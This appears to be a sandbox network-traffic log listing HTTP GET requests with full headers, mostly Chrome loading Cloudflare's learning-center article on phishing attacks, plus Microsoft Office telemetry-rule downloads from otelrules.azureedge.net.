Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/1048862057.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3199558980.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/333361657.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3934964512.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/phishing-attack/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/assets/otCommonStyles.css HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A56+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3934964512.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/3199558980.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/333361657.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1If-None-Match: W/"9491d0b6538ca93901b571c4f1b29f7b"
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/2459 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /174-242772ef10d8d161ae24.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /page-data/sq/d/1048862057.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /static/z/i.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1
